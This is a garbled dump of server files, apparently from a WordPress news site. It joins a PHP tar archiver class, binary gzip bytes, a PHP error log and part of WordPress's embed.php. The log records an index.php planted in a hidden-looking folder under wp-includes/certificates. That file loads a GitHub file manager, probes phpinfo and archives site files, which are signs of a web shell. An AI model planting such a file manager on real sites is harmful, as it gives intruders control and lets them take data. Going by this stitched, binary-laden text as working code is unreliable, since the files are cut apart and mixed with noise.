$this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } error_log.tar.gz000064400000001754150561270110007672 0ustar00]o6{_q^4E}:&C`b`2%IbwEdk)P/iyCdR x+"g[VRVS!ӲYK6")3xǵVzY٣`J>!<3?&qL?y<㤦6LcOQ0 ӟ| NØ pƴ2(2f*i4˜[ͪk5EV%_` 5 >%aXY2S/IWH{rw('= ¿iͪA5y7\λg7LkojJ&oԞnfk%-- ќm(Hu#L T5V2S |.h<…s&$!% vߣ0tw³sߏh`woϦ][>* sMBIdEA6}T}l 49*{#fsǶs?SF6NaVzh?Rx~4lGlk!뾋ClpFloA6k}ȭi`鎇 CX3_?±3sdx?CSuf}m{#徟l~?(tl#l~4H?8$As[fX x!2eM^+~KyZIKCTM]Ǫ?3FvhV áT)֫ H ./ȼhLWF]%UA}/&o K?,t+6slu_7hU#Vyjxfًs>m'X7Z`'68C{nrMogWƟ67+tfig/#d.a~ .km8!64v'lK.ٛٲFerror_log000064400000042241150561270120006463 0ustar00[29-Aug-2025 17:35:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [29-Aug-2025 17:35:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [29-Aug-2025 21:39:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [29-Aug-2025 21:39:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 04:09:32 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 04:09:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 04:09:35 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 04:09:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 04:14:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 04:14:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 04:35:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 04:35:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 04:36:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 04:36:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 04:36:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 04:36:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 06:30:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 06:30:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 06:32:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 06:33:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 06:33:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 06:33:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:18:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:18:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:30:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:30:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:31:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:31:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:31:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:31:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:33:03 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:33:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:33:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:33:40 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:35:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:35:31 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:35:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:36:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:43:45 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 07:43:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 08:06:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 08:06:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 08:07:39 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 08:07:40 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 08:07:55 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 08:07:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 16:09:03 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 16:09:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 16:20:06 UTC] PHP Warning: file_ge[30-Aug-2025 16:39:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 16:39:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 16:55:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 16:55:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 16:55:19 UTC] PHP Fatal error: Uncaught PharException: phar zip flush of "/home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/ova.zip" failed: unable to write local file header of file "index.php" to zip-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/ova.zip" in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php:1059 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php(1059): PharData->buildFromDirectory('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 1059 [30-Aug-2025 17:04:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 17:04:31 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 17:31:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 17:31:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [30-Aug-2025 17:32:04 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 669 [31-Aug-2025 10:22:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [31-Aug-2025 10:22:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [31-Aug-2025 10:23:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [31-Aug-2025 10:23:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [31-Aug-2025 10:24:28 UTC] PHP Warning: Undefined variable $ext in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 1118 [03-Sep-2025 15:10:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [03-Sep-2025 15:10:44 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 91 [03-Sep-2025 15:10:46 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/ca-bundle.crt.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ca-bundle.crt" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php on line 1117 PKC$[ embed.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/embed.php000064400000112434150554420140016726 0ustar00register_handler( $id, $regex, $callback, $priority ); } /** * Unregisters a previously-registered embed handler. * * @since 2.9.0 * * @global WP_Embed $wp_embed WordPress Embed object. * * @param string $id The handler ID that should be removed. * @param int $priority Optional. The priority of the handler to be removed. Default 10. */ function wp_embed_unregister_handler( $id, $priority = 10 ) { global $wp_embed; $wp_embed->unregister_handler( $id, $priority ); } /** * Creates default array of embed parameters. * * The width defaults to the content width as specified by the theme. If the * theme does not specify a content width, then 500px is used. * * The default height is 1.5 times the width, or 1000px, whichever is smaller. * * The {@see 'embed_defaults'} filter can be used to adjust either of these values. * * @since 2.9.0 * * @global int $content_width * * @param string $url Optional. The URL that should be embedded. Default empty. * @return int[] { * Indexed array of the embed width and height in pixels. * * @type int $0 The embed width. * @type int $1 The embed height. * } */ function wp_embed_defaults( $url = '' ) { if ( ! empty( $GLOBALS['content_width'] ) ) { $width = (int) $GLOBALS['content_width']; } if ( empty( $width ) ) { $width = 500; } $height = min( (int) ceil( $width * 1.5 ), 1000 ); /** * Filters the default array of embed dimensions. * * @since 2.9.0 * * @param int[] $size { * Indexed array of the embed width and height in pixels. * * @type int $0 The embed width. * @type int $1 The embed height. * } * @param string $url The URL that should be embedded. */ return apply_filters( 'embed_defaults', compact( 'width', 'height' ), $url ); } /** * Attempts to fetch the embed HTML for a provided URL using oEmbed. * * @since 2.9.0 * * @see WP_oEmbed * * @param string $url The URL that should be embedded. * @param array|string $args { * Optional. Additional arguments for retrieving embed HTML. Default empty. * * @type int|string $width Optional. The `maxwidth` value passed to the provider URL. * @type int|string $height Optional. The `maxheight` value passed to the provider URL. * @type bool $discover Optional. Determines whether to attempt to discover link tags * at the given URL for an oEmbed provider when the provider URL * is not found in the built-in providers list. Default true. * } * @return string|false The embed HTML on success, false on failure. */ function wp_oembed_get( $url, $args = '' ) { $oembed = _wp_oembed_get_object(); return $oembed->get_html( $url, $args ); } /** * Returns the initialized WP_oEmbed object. * * @since 2.9.0 * @access private * * @return WP_oEmbed object. */ function _wp_oembed_get_object() { static $wp_oembed = null; if ( is_null( $wp_oembed ) ) { $wp_oembed = new WP_oEmbed(); } return $wp_oembed; } /** * Adds a URL format and oEmbed provider URL pair. * * @since 2.9.0 * * @see WP_oEmbed * * @param string $format The format of URL that this provider can handle. You can use asterisks * as wildcards. * @param string $provider The URL to the oEmbed provider. * @param bool $regex Optional. Whether the `$format` parameter is in a RegEx format. Default false. */ function wp_oembed_add_provider( $format, $provider, $regex = false ) { if ( did_action( 'plugins_loaded' ) ) { $oembed = _wp_oembed_get_object(); $oembed->providers[ $format ] = array( $provider, $regex ); } else { WP_oEmbed::_add_provider_early( $format, $provider, $regex ); } } /** * Removes an oEmbed provider. * * @since 3.5.0 * * @see WP_oEmbed * * @param string $format The URL format for the oEmbed provider to remove. * @return bool Was the provider removed successfully? */ function wp_oembed_remove_provider( $format ) { if ( did_action( 'plugins_loaded' ) ) { $oembed = _wp_oembed_get_object(); if ( isset( $oembed->providers[ $format ] ) ) { unset( $oembed->providers[ $format ] ); return true; } } else { WP_oEmbed::_remove_provider_early( $format ); } return false; } /** * Determines if default embed handlers should be loaded. * * Checks to make sure that the embeds library hasn't already been loaded. If * it hasn't, then it will load the embeds library. * * @since 2.9.0 * * @see wp_embed_register_handler() */ function wp_maybe_load_embeds() { /** * Filters whether to load the default embed handlers. * * Returning a falsey value will prevent loading the default embed handlers. * * @since 2.9.0 * * @param bool $maybe_load_embeds Whether to load the embeds library. Default true. */ if ( ! apply_filters( 'load_default_embeds', true ) ) { return; } wp_embed_register_handler( 'youtube_embed_url', '#https?://(www.)?youtube\.com/(?:v|embed)/([^/]+)#i', 'wp_embed_handler_youtube' ); /** * Filters the audio embed handler callback. * * @since 3.6.0 * * @param callable $handler Audio embed handler callback function. */ wp_embed_register_handler( 'audio', '#^https?://.+?\.(' . implode( '|', wp_get_audio_extensions() ) . ')$#i', apply_filters( 'wp_audio_embed_handler', 'wp_embed_handler_audio' ), 9999 ); /** * Filters the video embed handler callback. * * @since 3.6.0 * * @param callable $handler Video embed handler callback function. */ 